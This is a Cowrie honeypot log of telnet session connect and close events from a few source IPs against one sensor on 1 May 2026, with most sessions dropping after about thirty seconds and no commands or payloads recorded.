{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"b20f2fd43cab","protocol":"telnet","message":"New connection: 147.135.136.77:60092 (159.203.135.109:23) [session: b20f2fd43cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.113396Z"}
{"eventid":"cowrie.session.closed","duration":30.451760053634644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.118860Z","src_ip":"147.135.136.77","session":"c9f4af6f2e18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971578359603882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.140596Z","src_ip":"81.30.157.18","session":"946c5f6cdb12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103942394256592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.178918Z","src_ip":"147.135.136.77","session":"4827ece5a046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58046,"dst_ip":"159.203.135.109","dst_port":23,"session":"6426d804b323","protocol":"telnet","message":"New connection: 37.187.24.227:58046 (159.203.135.109:23) [session: 6426d804b323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.192262Z"}
{"eventid":"cowrie.session.closed","duration":31.075803995132446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.219039Z","src_ip":"147.135.136.77","session":"d5efd0ac55aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.350862741470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.236172Z","src_ip":"81.30.157.18","session":"3bbc0699bc9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60098,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef1d7e4f154","protocol":"telnet","message":"New connection: 147.135.136.77:60098 (159.203.135.109:23) [session: 4ef1d7e4f154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.276781Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":45054,"dst_ip":"159.203.135.109","dst_port":23,"session":"30be9837ca0c","protocol":"telnet","message":"New connection: 149.102.133.101:45054 (159.203.135.109:23) [session: 30be9837ca0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.446764Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59006,"dst_ip":"159.203.135.109","dst_port":23,"session":"755ac9886a2d","protocol":"telnet","message":"New connection: 37.187.24.227:59006 (159.203.135.109:23) [session: 755ac9886a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.452652Z"}
{"eventid":"cowrie.session.closed","duration":30.243829011917114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.501454Z","src_ip":"168.119.91.149","session":"e7ceeab1c4a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47102,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eca04cdd811","protocol":"telnet","message":"New connection: 51.79.21.139:47102 (159.203.135.109:23) [session: 9eca04cdd811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:46.829605Z"}
{"eventid":"cowrie.session.closed","duration":30.79496741294861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.023246Z","src_ip":"51.79.21.139","session":"371ff29905fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630544900894165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.040021Z","src_ip":"147.135.136.77","session":"4098bff50ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34184,"dst_ip":"159.203.135.109","dst_port":23,"session":"5936af930f27","protocol":"telnet","message":"New connection: 81.30.157.18:34184 (159.203.135.109:23) [session: 5936af930f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.071522Z"}
{"eventid":"cowrie.session.closed","duration":30.494860649108887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.086026Z","src_ip":"147.135.136.77","session":"6623d179c70d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34186,"dst_ip":"159.203.135.109","dst_port":23,"session":"379ff0d4bade","protocol":"telnet","message":"New connection: 81.30.157.18:34186 (159.203.135.109:23) [session: 379ff0d4bade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.093135Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"50efee684949","protocol":"telnet","message":"New connection: 37.187.24.227:60488 (159.203.135.109:23) [session: 50efee684949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.113856Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53988,"dst_ip":"159.203.135.109","dst_port":23,"session":"009983463a44","protocol":"telnet","message":"New connection: 168.119.91.149:53988 (159.203.135.109:23) [session: 009983463a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.126609Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60256,"dst_ip":"159.203.135.109","dst_port":23,"session":"9848818df442","protocol":"telnet","message":"New connection: 147.135.136.77:60256 (159.203.135.109:23) [session: 9848818df442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.176856Z"}
{"eventid":"cowrie.session.closed","duration":30.93572211265564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.215082Z","src_ip":"81.30.157.18","session":"4cc51c901efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa88bc6bcef3","protocol":"telnet","message":"New connection: 147.135.136.77:60260 (159.203.135.109:23) [session: fa88bc6bcef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.293480Z"}
{"eventid":"cowrie.session.closed","duration":31.257121086120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.299941Z","src_ip":"147.135.136.77","session":"52134323db12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54028,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df3aa69c5f6","protocol":"telnet","message":"New connection: 168.119.91.149:54028 (159.203.135.109:23) [session: 0df3aa69c5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.348473Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"354b11d2e586","protocol":"telnet","message":"New connection: 168.119.91.149:54032 (159.203.135.109:23) [session: 354b11d2e586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.376969Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54034,"dst_ip":"159.203.135.109","dst_port":23,"session":"21efb2038814","protocol":"telnet","message":"New connection: 168.119.91.149:54034 (159.203.135.109:23) [session: 21efb2038814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.400080Z"}
{"eventid":"cowrie.session.closed","duration":30.461224794387817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.514910Z","src_ip":"168.119.91.149","session":"2c6d3e9b9839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08005666732788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.521232Z","src_ip":"168.119.91.149","session":"83804b1aed92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d2e9063641","protocol":"telnet","message":"New connection: 81.30.157.18:34246 (159.203.135.109:23) [session: 73d2e9063641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.660432Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34270,"dst_ip":"159.203.135.109","dst_port":23,"session":"029d082f40d6","protocol":"telnet","message":"New connection: 81.30.157.18:34270 (159.203.135.109:23) [session: 029d082f40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:47.928059Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60210,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1611f011615","protocol":"telnet","message":"New connection: 147.135.136.77:60210 (159.203.135.109:23) [session: a1611f011615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.012295Z"}
{"eventid":"cowrie.session.closed","duration":30.126601457595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.027304Z","src_ip":"51.79.21.139","session":"7a55627b65f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60370,"dst_ip":"159.203.135.109","dst_port":23,"session":"021d58a00a95","protocol":"telnet","message":"New connection: 147.135.136.77:60370 (159.203.135.109:23) [session: 021d58a00a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.043484Z"}
{"eventid":"cowrie.session.closed","duration":30.682021141052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.073475Z","src_ip":"81.30.157.18","session":"4f0c22f46406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34574,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1fcc8d3cbd","protocol":"telnet","message":"New connection: 37.187.24.227:34574 (159.203.135.109:23) [session: be1fcc8d3cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.085530Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54086,"dst_ip":"159.203.135.109","dst_port":23,"session":"000e753c7523","protocol":"telnet","message":"New connection: 168.119.91.149:54086 (159.203.135.109:23) [session: 000e753c7523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.107852Z"}
{"eventid":"cowrie.session.closed","duration":30.743018865585327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.112941Z","src_ip":"81.30.157.18","session":"6a77c425a8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04723620414734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.117600Z","src_ip":"81.30.157.18","session":"1cee71ec0aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34730,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd380104a31e","protocol":"telnet","message":"New connection: 37.187.24.227:34730 (159.203.135.109:23) [session: cd380104a31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.169832Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34310,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe58d352cdf9","protocol":"telnet","message":"New connection: 81.30.157.18:34310 (159.203.135.109:23) [session: fe58d352cdf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.201779Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60400,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4334f985c6","protocol":"telnet","message":"New connection: 147.135.136.77:60400 (159.203.135.109:23) [session: cf4334f985c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.288742Z"}
{"eventid":"cowrie.session.closed","duration":30.568257331848145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.459071Z","src_ip":"147.135.136.77","session":"1188bb4fb81e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836079835891724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.486326Z","src_ip":"147.135.136.77","session":"d880e5f5c9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237109899520874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.502837Z","src_ip":"51.79.21.139","session":"7f09c641beb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.367751121520996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.510579Z","src_ip":"168.119.91.149","session":"1ad60fbcc162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.384134531021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.572617Z","src_ip":"168.119.91.149","session":"9c4cf95d7688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60306,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d4e264668c","protocol":"telnet","message":"New connection: 147.135.136.77:60306 (159.203.135.109:23) [session: c8d4e264668c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.610792Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34358,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dce66614d5d","protocol":"telnet","message":"New connection: 81.30.157.18:34358 (159.203.135.109:23) [session: 8dce66614d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.651045Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34386,"dst_ip":"159.203.135.109","dst_port":23,"session":"613da04d9152","protocol":"telnet","message":"New connection: 81.30.157.18:34386 (159.203.135.109:23) [session: 613da04d9152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:48.831202Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"4336096bc9ea","protocol":"telnet","message":"New connection: 37.187.24.227:36844 (159.203.135.109:23) [session: 4336096bc9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.013220Z"}
{"eventid":"cowrie.session.closed","duration":32.00082349777222,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.021458Z","src_ip":"81.30.157.18","session":"6d6bd9c12034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098910331726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.057277Z","src_ip":"81.30.157.18","session":"80bb6cb363b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739465951919556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.062246Z","src_ip":"81.30.157.18","session":"9be8be5f369e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5685715675354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.065819Z","src_ip":"37.187.24.227","session":"51a18840e410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994566917419434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.072041Z","src_ip":"147.135.136.77","session":"1b6be34777c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29729151725769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.082208Z","src_ip":"147.135.136.77","session":"f3b399d3fb1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e9490474b42","protocol":"telnet","message":"New connection: 81.30.157.18:34420 (159.203.135.109:23) [session: 9e9490474b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.108421Z"}
{"eventid":"cowrie.session.closed","duration":30.93526291847229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.115597Z","src_ip":"85.208.100.77","session":"4fe8062c8420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02765703201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.121969Z","src_ip":"147.135.136.77","session":"de965668b802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275532007217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.308840Z","src_ip":"81.30.157.18","session":"2e521d55d4c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"6421fda0989f","protocol":"telnet","message":"New connection: 81.30.157.18:34436 (159.203.135.109:23) [session: 6421fda0989f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.367486Z"}
{"eventid":"cowrie.session.closed","duration":30.75061845779419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.493354Z","src_ip":"168.119.91.149","session":"c6b080cd173f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23477077484131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.524361Z","src_ip":"168.119.91.149","session":"67303f95f86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60422,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be8b92d7051","protocol":"telnet","message":"New connection: 147.135.136.77:60422 (159.203.135.109:23) [session: 3be8b92d7051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:49.764707Z"}
{"eventid":"cowrie.session.closed","duration":31.090607166290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.051950Z","src_ip":"81.30.157.18","session":"dd29f4b6d0fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974489212036133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.058937Z","src_ip":"147.135.136.77","session":"ec30b0d28e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544090509414673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.081385Z","src_ip":"147.135.136.77","session":"6196f0af6190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55024,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64ce27463a6","protocol":"telnet","message":"New connection: 168.119.91.149:55024 (159.203.135.109:23) [session: c64ce27463a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.085633Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"af65f913815a","protocol":"telnet","message":"New connection: 81.30.157.18:34406 (159.203.135.109:23) [session: af65f913815a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.091929Z"}
{"eventid":"cowrie.session.closed","duration":31.04091167449951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.108621Z","src_ip":"46.101.32.143","session":"d2f3685cb6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969507694244385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.227031Z","src_ip":"37.187.24.227","session":"e1f86dce91a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55038,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f6356f31a1c","protocol":"telnet","message":"New connection: 168.119.91.149:55038 (159.203.135.109:23) [session: 4f6356f31a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.324453Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55040,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee52edb97a90","protocol":"telnet","message":"New connection: 168.119.91.149:55040 (159.203.135.109:23) [session: ee52edb97a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.495216Z"}
{"eventid":"cowrie.session.closed","duration":30.82630228996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.542533Z","src_ip":"81.30.157.18","session":"46c56481638e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24840784072876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.570715Z","src_ip":"168.119.91.149","session":"f7d897389620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051796674728394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.574716Z","src_ip":"168.119.91.149","session":"7f9976a80274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457725763320923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.592638Z","src_ip":"147.135.136.77","session":"ec49381d3cb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621140718460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.621432Z","src_ip":"81.30.157.18","session":"fc20b96b912a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"00e2265625fb","protocol":"telnet","message":"New connection: 81.30.157.18:34450 (159.203.135.109:23) [session: 00e2265625fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:50.733357Z"}
{"eventid":"cowrie.session.closed","duration":30.737942218780518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.029228Z","src_ip":"51.79.21.139","session":"95136bdc6854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529313564300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.035241Z","src_ip":"51.79.21.139","session":"0114ad5136ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439352989196777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.064910Z","src_ip":"81.30.157.18","session":"173a7e64830c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36150026321411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.071916Z","src_ip":"81.30.157.18","session":"01f40168adc3","protocol":"telnet"}
